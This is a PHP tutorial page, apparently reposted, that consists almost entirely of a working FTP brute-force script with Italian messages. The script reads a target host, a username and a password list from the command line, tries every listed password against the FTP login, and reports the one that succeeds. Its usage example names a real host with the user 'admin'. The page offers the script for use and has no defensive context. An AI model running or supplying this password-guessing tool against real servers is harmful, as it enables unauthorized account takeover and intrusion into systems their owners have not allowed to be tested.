Home  >  Article  >  php教程  >  FTP暴力PHP版

FTP暴力PHP版

WBOY
WBOYOriginal
2016-06-13 10:33:40891browse

$sito = $argv[1];
$username = $argv[2];
$lista = $argv[3];
 
if((isset($sito)) AND (isset($lista)) AND (isset($username))){
 
if (file_exists($lista)){
 
$lista = file($lista);
$connessione = ftp_connect($sito) or die("Impossibile stabilire una connessione a $sito");
 
foreach($lista as $passwd){
 
if(@ftp_login($connessione, $username, $passwd)){
die(" [Successo] - $passwd");
} else {
print "[Fallito] - $passwd ";
}
 
}
 
ftp_close($connessione);
} else
die("Lista per il brute force assente");
 
} else
die("Us php .php Esempi php brute.php ftp.google.it admin /root/list.txt");
?>

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn